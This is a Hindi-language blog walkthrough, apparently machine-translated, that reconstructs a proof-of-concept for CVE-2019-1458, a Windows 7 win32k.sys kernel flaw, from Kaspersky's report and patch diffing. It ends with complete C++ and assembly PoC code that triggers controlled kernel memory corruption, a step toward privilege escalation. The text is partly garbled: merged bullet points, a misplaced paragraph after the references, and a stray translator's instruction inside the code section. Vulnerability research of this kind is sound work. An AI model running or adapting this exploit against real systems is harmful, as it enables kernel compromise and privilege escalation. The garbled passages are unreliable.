
cve-2019-1458 के लिए POC
दिसंबर में Kaspersky ने [जंगली में इस्तेमाल किए गए 0day शोषण][1] पर एक ब्लॉगपोस्ट प्रकाशित किया। इसने मेरी रुचि जगाई क्योंकि यद्यपि उन्होंने बताया कि शोषण कैसे काम करता है, लेकिन उन्होंने अपने विश्लेषण में कोई POC प्रदान नहीं किया। इसलिए मैंने Kaspersky के ब्लॉगपोस्ट और पैच विश्लेषण के आधार पर इस भेद्यता के लिए POC लिखने का प्रयास करने का निर्णय लिया। यह पोस्ट उस यात्रा का वर्णन करती है।
सबसे पहले मैंने इस भेद्यता के बारे में जितनी संभव हो उतनी जानकारी एकत्र करने का प्रयास किया। उल्लिखित ब्लॉगपोस्ट को पढ़ते हुए मैंने निम्नलिखित जानकारी निकाली:
NtUserMessageCall API पर दो कॉल्स होनी चाहिएwin32k!DrawSwitchWndHilite का कुछ संदर्भ थाइसके अलावा, डीकंपाइल कोड का एक अच्छा स्क्रीनशॉट है जो पहले सूचीबद्ध कुछ चीजों को दर्शाता है।
सटीक रूप से यह दिखाता है: स्विच विंडो का निर्माण, toggle_alt_key नामक फ़ंक्शन की कॉल, और NtUserMessageCall पर कई कॉल्स।
[छवि स्रोत][1]
बहुत सारी उपयोगी जानकारी, लेकिन यह अभी भी स्पष्ट नहीं करता कि यह भेद्यता वास्तव में कैसे काम करती है और इसे कैसे ट्रिगर किया जाए।
[प्रभावित मॉड्यूल win32k.sys था][2]। मैंने इस मॉड्यूल के पैचेड और अनपैचेड दोनों संस्करण डाउनलोड किए। Win7 x64 के लिए ये थे:
इन्हें [Microsoft Update Catalog][3] से डाउनलोड किया जा सकता है।
यहाँ दोनों संस्करणों की तुलना का bindiff परिणाम है

DebugHook कार्यक्षमता से संबंधित फ़ंक्शनों को हटाने के बाद हमारे पास वास्तव में केवल यह थोड़ा बदला हुआ फ़ंक्शन InitFunctionTables() रह जाता है

निश्चित रूप से सबसे बड़ा पैच नहीं है।
यह इस भेद्यता के मूल कारण की तुरंत पहचान करने में मदद नहीं करेगा। लेकिन यह ध्यान देने योग्य है कि *(gpsi+0x14E), *(gpsi+0x154), *(gpsi+0x180) पर चरों के लिए कुछ प्रारंभिक मान जोड़े गए हैं। तो यह एक अनारंभिक चर से संबंधित बग हो सकता है।
इस अनुभाग में मैं प्रस्तुत करूंगा कि कैसे मैंने धीरे-धीरे उस POC का निर्माण किया जो इस भेद्यता को ट्रिगर करता है, साथ ही साथ यह पता लगाया कि भेद्यता वास्तव में क्या थी।
पैच डिफिंग ने शुरुआत में बहुत अधिक उपयोगी जानकारी नहीं दी, इसलिए मैंने विकास के पहले चरण में ज्यादातर Kaspersky के ब्लॉगपोस्ट पर भरोसा किया।
एक अच्छा परीक्षण वातावरण बनाने के लिए मैंने win32k के अंतिम असुरक्षित संस्करण के साथ Win7 SP1 x64 VM तैयार किया। इसके अलावा, मैंने इस VM के लिए कर्नेल डिबगिंग करने के लिए Windbg संलग्न किया और ऐसा करते समय मैंने प्रतीक सर्वर पथ भी सेट किया।
मैंने अपनी जांच win32k!DrawSwitchWndHilite को देखकर शुरू की जिसका ब्लॉगपोस्ट में उल्लेख किया गया था। इसे दो स्थानों से कॉल किया जाता है: xxxMoveSwitchWndHilite और xxxPaintSwitchWindow, बाद वाले ने तुरंत मेरा ध्यान आकर्षित किया, क्योंकि आसपास GetKeyState/GetAsyncKeyState कॉल्स थीं जिनका मूल रिपोर्ट में उल्लेख किया गया था। इसके अलावा, ये कॉल्स ALT की दबाए जाने की जाँच कर रही हैं।

xxxPaintSwitchWindow से DrawSwitchWndHilite की कॉल
आगे कॉल क्रॉस रेफरेंसेस (xxxWrapSwitchWndProc->xxxSwitchWndProc->xxxPaintSwitchWindow->DrawSwitchWndHilite) का अनुसरण करते हुए मैंने पाया कि उस श्रृंखला का पहला तत्व InitFunctionTables में संदर्भित है, जो पैच में ठीक किया गया फ़ंक्शन है।
इसके बाद मैंने डीकंपाइल कोड के स्क्रीनशॉट से NtUserMessageCall को देखा।
यहाँ इस फ़ंक्शन की घोषणा है```cpp
NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOLEAN bAnsi)
एक्सप्लॉइट इसे `msg = 0x14` और `dwType = 0xE0` के साथ कॉल कर रहा है। आइए देखें यह क्या करता है।```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, 1);
यहां एक सरल विंडो क्लास रजिस्टर की और उस क्लास की विंडो बनाई। फिर NtUserMessageCall को उन्हीं पैरामीटर्स के साथ कॉल किया जैसे एक्सप्लॉइट में किए थे। यह देखने के लिए कि हुड के नीचे क्या होता है, मैंने ब्रेकपॉइंट सेट किया kd> ba e 1 win32k!NtUserMessageCall और कोड रन किया।
इस फ़ंक्शन को बहुत सारी कॉल्स की जा रही थीं, इसलिए मुझे सही कॉल को पकड़ना पड़ा, लेकिन यह मुश्किल नहीं था, यह वही था जिसमें बहुत छोटा कॉलस्टैक था।

NtUserMessageCall
कोड में स्टेप करने पर पता चला कि यह gapfnMessageCall ऐरे से फ़ंक्शन को कॉल करता है, इंडेक्स msg मान के आधार पर निकाला जाता है और 0 के बराबर होता है, इसलिए कॉल NtUserfnDWORD को की जाती है।

NtUserfnDWORD
अगली कॉल dwType मान का उपयोग करके की जाती है, और अब gpsi ऑफसेट 0x40 के बराबर है, और कॉल xxxWrapSwitchWndProc तक ले जाती है (यह फ़ंक्शन पहले भी तब दिखाई दिया था जब मैं DrawSwitchWndHilite कॉल चेन की जांच कर रहा था)।
xxxWrapSwitchWndProc बस xxxSwitchWndProc को कॉल करता है।

xxxSwitchWndProc
और यह अंत है, कोड यहां विफल हो जाता है, xxxPaintSwitchWindow तक नहीं जाता, जहां हम msg मान (0x14) के आधार पर पहुंचना चाहते हैं। आइए देखें क्यों।
कोड इस चरण पर विफल होता है क्योंकि, जैसा कि पिछली छवि में हाइलाइट किया गया है, हमारी विंडो का fnid 0x2A0 (FNID_SWITCH) के बराबर नहीं है और हम जो संदेश भेज रहे हैं वह 1 के बराबर नहीं है, इसलिए हम xxxDefWindowProc में समाप्त होते हैं। इस परिदृश्य से बचने के लिए हमें xxxSwitchWndProc को fnid के साथ FNID_SWITCH पर सेट करके कॉल करना होगा, ताकि हम सीधे स्विच स्टेटमेंट और बाद में xxxPaintSwitchWindow तक पहुंचें।
सही fnid कैसे सेट करें? वास्तव में समान फ़ंक्शन पहले if ब्लॉक में ऐसा करता है, हमें बस इसके अंदर सभी जांचों में विफल होना होगा ताकि हम fnid सेट करने वाले निर्देश पर पहुंचें।
यहां वे शर्तें हैं जिन्हें हमें पूरा करना होगा, ताकि सभी तीन if जांचों में विफल हो सकें:
fnid == 0 और cbwndExtra + 0x128 >= *(gpsi + 0x154)0 के बराबर होता है।
*(gpsi+0x154) अपैच्ड win32k में 0 के बराबर है! लेकिन भले ही इसे 0x130 पर सेट किया गया हो, जैसे कि पैच किए गए संस्करण में, हम cbwndExtra को 8 या उससे अधिक पर सेट कर सकते हैं और फिर भी पहली जांच को बायपास कर सकते हैं।msg == 1NtUserMessageCall कॉल में सेट किया जा सकता है। हालांकि msg के 1 पर सेट होने पर नियंत्रण प्रवाह NtUserfnINLPCREATESTRUCT के माध्यम से NtUserfnDWORD के बजाय गुजरता है, लेकिन यह अभी भी xxxSwitchWndProc में समाप्त होता है।यदि ये सभी शर्तें पूरी होती हैं, तो विंडो का fnid FNID_SWITCH पर सेट हो जाएगा।
तो अब हमें NtUserMessageCall को दो बार कॉल करना होगा, पहली बार msg को 1 के बराबर सेट करके वांछित fnid सेट करने के लिए, और दूसरी बार xxxPaintSwitchWindow तक पहुंचने के लिए।```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE/ = 1*/, 0, 0, 0, 0x0, 1);
printf("[] Calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND/ = 0x14*/, 0, 0, 0, 0x0, 1);
मैंने `extraData` को window class में जोड़ा और `NtUserMessageCall` का दूसरा कॉल जोड़ा। अब कंट्रोल फ्लो `xxxPaintSwitchWindow` तक पहुँचने में सक्षम है।
(साइड नोट: `dwType` का `0xE0` होना ज़रूरी नहीं है, `0` भी काम करता है, क्योंकि `NtUserfnDWORD` में इसे `0x1F` के साथ AND किया जाता है)

*`xxxPaintSwitchWindow`*
करीब से जाँचने पर मैंने देखा कि window object से लिया गया `extraWndData` मान (लाइन 25) एक पॉइंटर के रूप में उपयोग किया जा रहा है जिसमें लिखा जाता है (लाइन 46-52)! अगर मैं उस कोड तक पहुँच सकता हूँ जो `extraWndData` को मेरे नियंत्रित मान पर सेट करता है, तो मैं कुछ मनमानी मेमोरी को दूषित कर सकता हूँ!
इस तक पहुँचने के लिए मुझे पहले कुछ और जाँचें पास करनी होंगी (लाल रंग में चिह्नित)
- जाँचें कि window में `WS_VISIBLE` फ्लैग सेट है या नहीं।
यह फ्लैग `CreateWindowEx` में सेट किया जा सकता है।
- `fnid == 0x2A0` और `cbwndExtra + 0x128 == *(gpsi + 0x154)`
Fnid पहले ही पहले `NtUserMessageCall` द्वारा सेट हो चुका है।
समस्या इस जाँच के दूसरे भाग से उत्पन्न होती है क्योंकि `*(gpsi + 0x154)` कमजोर `win32k` मॉड्यूल में प्रारंभ नहीं होता है, इसलिए यह जाँच हमेशा विफल होगी। जब तक हम किसी तरह `*(gpsi+0x154)` को सही मान पर सेट न करें। यह पता चलता है कि कास्परस्की के पोस्ट में उल्लिखित विशेष स्विच विंडो बनाने से ठीक यही होता है।
- जाँचें कि window नष्ट नहीं हुई है।
इस मामले में पहले से ही पूरी हो गई है।
विशेष [स्विच विंडो][4] बनाने के लिए, हमें `CreateWindowEx` को नाम `0x8003` (`#32771`) के साथ कॉल करना होगा। इससे अंततः कर्नेल में `InternalRegisterClassEx` कॉल होगा।

*`InternalRegisterClassEx` फ़ंक्शन का एक भाग*
यह `*(gpsi+0x154)` को `0x130` पर प्रारंभ करेगा।
इसका साइड इफेक्ट यह है कि एक बार जब हम इस वेरिएबल को सेट कर देते हैं, तो इसे वापस 0 पर रीसेट करने का कोई तरीका नहीं है। इसलिए हमारे पास एक्सप्लॉइट चलाने का केवल एक मौका है। अगले रीबूट तक कोई अन्य प्रयास विफल होगा।
### नियंत्रित डीरेफरेंस मान
अब मैं `extraWndData` को नियंत्रित करने में सक्षम हूँ, जिसे बाद में `xxxPaintSwitchWindow` में पॉइंटर के रूप में डीरेफरेंस किया जाता है और उसमें लिखा जाता है। `extraWndData` को कॉल करके नियंत्रित किया जा सकता है```cpp
SetWindowLongPtr(HWND hWnd, int nIndex, LONG_PTR dwNewLong)
ध्यान रखने योग्य एक बात यह है कि इस कॉल को पहले NtUserMessageCall कॉल के बाद किया जाना चाहिए, क्योंकि जैसा दिखाया गया था, xxxSwitchWndProc को इस पहली कॉल पर विंडो के extraData को 0 पर सेट करने की आवश्यकता होती है, ताकि आवश्यक जांचों को दरकिनार किया जा सके।
साथ ही, SetWindowLongPtr को स्विच विंडो बनाने से पहले लागू किया जाना चाहिए, और इसका कारण यह है:
xxxSetWindowLong फ़ंक्शन का अंश
यह वह जगह है जहां हम वास्तव में अप्रारंभिक *(gpsi + 0x154) वेरिएबल का उपयोग करते हैं।
जब यह जांच पास हो जाती है तो हम wnd->extraData को एक मनमाना मान पर सेट करते हैं।
यदि इसे सही ढंग से प्रारंभ किया गया होता, तो यहां exploit विफल हो जाता।```cpp
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //to pass check in xxxSwitchWndProc
printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); }
printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); }
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0x0, 1);
printf("[] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, 0x4141414141414); printf("[] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
उपरोक्त कोड चलाने का परिणाम यह है

इसके तुरंत बाद जब `rdi` को डीरेफरेंस किया जाता है तो हमें एक बगचेक मिलता है।
पैच की गई विंडोज़ पर वही एक्सप्लॉइट चलाने पर:```
[*] Registering window
[*] Creating instance of this window
[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window
[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced
bold:[*] GetLastError = 585
[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130
[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time
SetWindowLongPtr त्रुटि कोड 0x585 के साथ विफल होता है क्योंकि *(gpsi + 0x154) ठीक से प्रारंभ किया गया है। और कर्नेल क्रैश नहीं होता।
संक्षेप में, मुख्य समस्या अनारंभित चर *(gpsi+0x154) थी।
लेकिन यह मान क्या है, यह क्यों महत्वपूर्ण है?
gpsi एक वैश्विक पॉइंटर है जो [tagSERVERINFO][5] संरचना की ओर इंगित करता है। यह संरचना अन्य चीजों के अलावा सिस्टम विंडो (अर्थात मेनू, डेस्कटॉप, स्विच आदि) का वर्णन करती है, जो उपयोगकर्ता-परिभाषित विंडो के विपरीत हैं।
उन सिस्टम विंडो की पहचान उनके FNID से होती है, उदाहरण के लिए 0x2A0 का अर्थ स्विच विंडो है।
जब RegisterClassEx का उपयोग करके विंडो क्लास परिभाषित किया जाता है, तो हमारे पास WNDCLASSEX पर cbWndExtra फ़ील्ड निर्दिष्ट करने का अवसर होता है, यह फ़ील्ड बताता है कि tagWND संरचना के अतिरिक्त कितने अतिरिक्त बाइट्स आवंटित किए जाएंगे, ताकि कुछ विंडो-विशिष्ट जानकारी संग्रहीत की जा सके।
फिर हम SetWindowLongPtr का उपयोग करके उन अतिरिक्त बाइट्स को संशोधित करने में सक्षम होते हैं।
सिस्टम विंडो काम करने के लिए आवश्यक अतिरिक्त डेटा संग्रहीत करने के लिए बिल्कुल उसी तंत्र का उपयोग करती हैं। लेकिन सिद्धांत रूप में यह डेटा SetWindowLongPtr का उपयोग करके पहुंच योग्य नहीं होना चाहिए।
और हमने देखा कि वास्तव में xxxSetWindowLongPtr में एक जांच है जो इसे रोकनी चाहिए। प्रकार की जानकारी लागू करने के बाद यह जांच है:```
if (nIndex >= gpsi->mpFnid_serverCBWndProc[(window->fnid & 0x3FFF) - FNID_FIRST] - sizeof(tagWND))
goto exit_with_error
सारणी `gpsi->mpFnid_serverCBWndProc` यह बताती है कि दिए गए सिस्टम विंडो ऑब्जेक्ट का आकार, एक्स्ट्रा डेटा सहित, कितना है।
`*(gpsi+0x154)` बन जाता है `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]`
इस फ़ील्ड को अप्रारंभीकृत छोड़ने पर, `xxxSetWindowLongPtr` यह सोचता है कि एक्स्ट्रा डेटा का आकार `-sizeof(tagWND)` है, इसलिए हम उस फ़ील्ड में लिख सकते हैं जो स्विच विंडो की संरचना के लिए निजी होना चाहिए।
इस भेद्यता का मूल कारण तब एक अप्रारंभीकृत (या यूँ कहें कि डिफ़ॉल्ट रूप से 0 पर आरंभित) चर `gpsi->mpFnid_serverCBWndProc[FNID_SWITCH - FNID_FIRST]` था।
यह बताता है कि पैच इतना छोटा क्यों था। केवल इतना करना था कि इसे `sizeof(tagWND) + 8` पर सेट किया जाए। इसी प्रकार अब अन्य `mpFnid_serverCBWndProc` सरणी तत्व भी आरंभ किए गए हैं जो पहले नहीं थे (`FNID_DESKTOP`, `FNID_TOOLTIPS`), संभवतः इस एक्सप्लॉइट के भविष्य के किसी भी रूप को रोकने के लिए भी।

## मेमोरी को दूषित करना
एक्सप्लॉइट की वर्तमान स्थिति के साथ हम बगचेक को ट्रिगर करने में सक्षम हैं, लेकिन क्रैश निम्न निर्देश पर होता है:```asm
xxxPaintSwitchWindow + 0x8B:
cmp [rdi+6Ch], r13d ; rdi = 0x4141414141414
इस POC को तैयार करने का अंतिम चरण एक अधिक उपयोगी क्रैश ट्रिगर करना होगा या बेहतर होगा कि कुछ मेमोरी दूषित हो जाए और बिल्कुल क्रैश न हो।
इस अंतिम लक्ष्य को प्राप्त करने के लिए हमें यह करना होगा:
VirtualAlloc का उपयोग करके कुछ मेमोरी आवंटित करने और लौटाए गए पॉइंटर को SetWindowLongPtr में पास करने का विकल्प चुना।xxxPaintSwitchWindow में GetKeyState/GetAsyncKeyState के कॉल हैं जो जाँच रहे हैं कि ALT कुंजी दबाई गई है या नहीं। और यदि ऐसा नहीं है तो फ़ंक्शन बाहर निकल जाता है।
GetKeyState या GetAsyncKeyState का उपयोग करना है या नहीं, यह [extraWndData+6Ch] में फ़्लैग के आधार पर तय किया जाता है।
मैंने SetKeyboardState का उपयोग करके ALT दबाने का अनुकरण करने का विकल्प चुना। यह केवल GetKeyState के साथ काम करेगा इसलिए मुझे ऑफ़सेट 0x6C पर मान 1 सेट करना होगा।```cpp
ptr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SetWindowLongPtr(sploitWnd, 0, ptr);BYTE keyData[256]; GetKeyboardState(keyData); keyData[VK_MENU] |= 0x80; // simulate ALT SetKeyboardState(keyData);
((BYTE*)ptr)[0x6c] = 1; // force use of GetKeyState inside xxxPaintSwitchWindow
इस कोड के साथ मुझे एक अलग क्रैश मिला।```asm
DrawSwitchWndHilite + 0x10A:
mov rcx, [r12+20h]
mov dl, 1
mov rcx, [rcx] ; rcx = 0
तो मैं ऑफ़सेट 0x20 पर एक वैध पॉइंटर भी प्रदान करता हूं (जो स्वयं की ओर इशारा करता है)```cpp
ptr[0x20 / sizeof(*ptr)] = ptr; // make double derefence succeed
अब एक्सप्लॉइट बिना क्रैश हुए काम करता है, और जब हम आवंटित पृष्ठ की सामग्री की जांच करते हैं तो हम देख सकते हैं कि इसे संशोधित किया गया था!

हमने एक स्थिर एक्सप्लॉइट POC प्राप्त किया जो उसे प्रदान की गई मेमोरी को दूषित करता है। यह POC के मेमोरी रीड पर क्रैश होने की स्थिति से कहीं बेहतर है, क्योंकि इस मनमानी मेमोरी भ्रष्टाचार को अधिक आसानी से मनमाना कर्नेल रीड/राइट में बदला जा सकता है। इसके अलावा हमने पहले ही आवश्यकताएं निकाल ली हैं कि दूषित की जाने वाली मेमोरी को पूरा करना होगा।
## Conclusion
इस वॉकथ्रू में मैंने प्रस्तुत किया कि कैसे मैं एक्सप्लॉइट और कमजोरी के विवरण से एक कार्यशील POC तक पहुंचा जिसे उपयोगी कर्नेल एक्सप्लॉइट में बदला जा सकता है। यह काफी दिलचस्प एक्सप्लॉइट था जो एक लापता लाइन के कारण संभव हुआ। तो मेरा मानना है कि मुख्य सबक यह है कि हमेशा अपने ग्लोबल वेरिएबल्स को इनिशियलाइज़ करें।
## POC``` cpp
#include <cstdio>
#include <windows.h>
extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
int main() {
HINSTANCE hInstance = GetModuleHandle(NULL);
WNDCLASSEX wcx;
ZeroMemory(&wcx, sizeof(wcx));
wcx.hInstance = hInstance;
wcx.cbSize = sizeof(wcx);
wcx.lpszClassName = L"SploitWnd";
wcx.lpfnWndProc = DefWindowProc;
wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
printf("[*] Registering window\n");
ATOM wndAtom = RegisterClassEx(&wcx);
if (wndAtom == INVALID_ATOM) {
printf("[-] Failed registering SploitWnd window class\n");
exit(-1);
}
printf("[*] Creating instance of this window\n");
HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
if (sploitWnd == INVALID_HANDLE_VALUE) {
printf("[-] Failed to create SploitWnd window\n");
exit(-1);
}
printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n");
NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
printf("[*] Allocate memory to be used for corruption\n");
PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
printf("\tptr: %p\n", mem);
PBYTE byteView = (PBYTE)mem;
byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow
//pass DrawSwitchWndHilite double dereference
PVOID* ulongView = (PVOID*)mem;
ulongView[0x20 / sizeof(PVOID)] = mem;
printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem);
printf("[*] GetLastError = %x\n", GetLastError());
printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL);
printf("[*] Simulating alt key press\n");
BYTE keyState[256];
GetKeyboardState(keyState);
keyState[VK_MENU] |= 0x80;
SetKeyboardState(keyState);
printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time");
NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
}
हमें यह सुनिश्चित करने की आवश्यकता है कि हम केवल प्राकृतिक भाषा पाठ का अनुवाद कर रहे हैं, कोड या पहचानकर्ताओं का नहीं।```asm _DATA SEGMENT _DATA ENDS _TEXT SEGMENT
PUBLIC NtUserMessageCall NtUserMessageCall PROC mov r10, rcx mov eax, 1007h ; Win7 sp1 syscall ret NtUserMessageCall ENDP _TEXT ENDS END
[1]: https://securelist.com/windows-0-day-exploit-cve-2019-1458-used-in-operation-wizardopium/95432/
[2]: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-1458
[3]: https://www.catalog.update.microsoft.com/Home.aspx
[4]: https://docs.microsoft.com/en-us/windows/win32/winauto/switch-window
[5]: https://www.reactos.org/wiki/Techwiki:Win32k/SERVERINFO
[6]: https://media.paloaltonetworks.com/lp/endpoint-security/blog/the-case-for-smep-exploiting-a-kernel-vulnerability.html
extraData == 0cbwndExtra का उपयोग करके सेट किया जा सकता है। ExtraData tagWND संरचना के ठीक बाद जोड़ा जाता है (मैंने इस फ़ील्ड को IDA में tagWND संरचना में sizeof(tagWND) ऑफसेट पर QWORD के रूप में जोड़ा, ताकि डीकंपाइल कोड थोड़ा अच्छा दिखे)। इसका मान SetWindowLongPtr कॉल से सेट किया जा सकता है।